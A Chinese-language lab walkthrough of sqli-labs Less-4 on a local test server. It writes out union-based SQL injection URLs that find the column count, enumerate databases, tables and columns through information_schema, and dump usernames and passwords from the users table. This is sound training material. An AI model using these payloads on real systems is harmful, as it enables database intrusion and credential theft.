前序

本关与第三关类似,情景以及做法差不多,但是还是要强调一点,就是关于如何分析注入语句,如何分析报错,是一个非常重要的一点。

正文

进入第四关
image.png
进行注入分析,使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=1"


查看错误信息:

  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

然后找到其中的错误提示,’”1””) LIMIT 0,1’,之后我们可以根据这个来构建我们的语句:?id=1”)所以我们也可以知道,本题中的sql语句为(“x”)

所以我们还是按照之前所陈述的开始以下步骤:
使用order by进行属性列查询,在URL中输入(这里直接使用四,不进行重复):

  1. http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 4--+


查询结果为:
image.png
所以我们可以得出,一共有三个属性列;

接下来进行union select查询,我们可以通过这个查询来判断返回位置,从而利用该返回位置;
使用URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+


结果为:
image.png
所以我们可以利用这些位置来获得我们所需要的数据信息;

接着我们要进行查询,该数据库中都有哪些数据库;
使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
  1. <br />**结果为:**<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619010323116-0c83a11b-75dd-4bfa-a96c-1211740b40ce.png#clientId=ub3ac967f-30ef-4&from=paste&height=520&id=uf9f3e18c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1039&originWidth=1920&originalType=binary&size=497470&status=done&style=none&taskId=u9eccf04c-32ba-468e-b1c2-abc77d91247&width=960)

分析查询的数据库后,我们可以进行查询表单;
使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+


结果为:
image.png
我们继续进行查询属性列,来判断有哪些属性列;
使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
  1. <br />**结果为:**<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619010571734-b75531b4-2eee-4388-bc0c-63fa8bf354b0.png#clientId=ub3ac967f-30ef-4&from=paste&height=520&id=u80dfc49c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1039&originWidth=1920&originalType=binary&size=497398&status=done&style=none&taskId=u59d242c4-e3be-4ba8-a9be-1ed7700e19a&width=960)

所以我们直接查询获得其账号密码;
使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
**结果为:**<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619010751845-98b81421-56fc-44f1-a605-d98cda55cd46.png#clientId=ub3ac967f-30ef-4&from=paste&height=520&id=ub16da77f&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1039&originWidth=1920&originalType=binary&size=502933&status=done&style=none&taskId=ue9ed7cd9-efe5-48bc-b477-e58304abb4f&width=960)<br />本关也就到此为止...